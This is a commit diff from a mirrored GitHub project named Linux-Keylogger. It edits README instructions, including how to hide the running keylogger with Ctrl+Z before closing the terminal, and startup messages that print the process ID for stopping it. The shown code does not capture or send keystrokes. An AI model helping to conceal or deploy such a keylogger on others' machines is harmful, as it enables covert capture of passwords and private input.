1
0
mirror of https://github.com/dimkouv/Linux-Keylogger.git synced 2025-05-15 13:10:09 -07:00

add pkill

This commit is contained in:
Dim Kouv 2016-11-30 18:17:38 -05:00
parent 799d895303
commit c0d08592f0
2 changed files with 5 additions and 2 deletions

View File

@ -45,4 +45,4 @@ $ cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard
<hr>
- Open ```/usr/share/keylogger/.settings``` for manual settings.
- To hide keylogger press Ctrl+Z and then close the terminal. Stop keylogger using ```sudo killall keylogger```.
- To hide keylogger press Ctrl+Z and then close the terminal.

View File

@ -81,7 +81,10 @@ int main(int argc, char *argv[]) {
return -1;
}
puts("Keylogger started. Stop it using Ctrl-C");
puts("Keylogger started!");
puts("1. Stop it using `Ctrl+C`");
puts("2. Hide it using `Ctrl+Z`");
printf("3. Close hidden keylogger using `sudo kill %d`\n", getpid());
printf("Writing to %s from %s\n", logfile_path, keyboard_device);
while (1){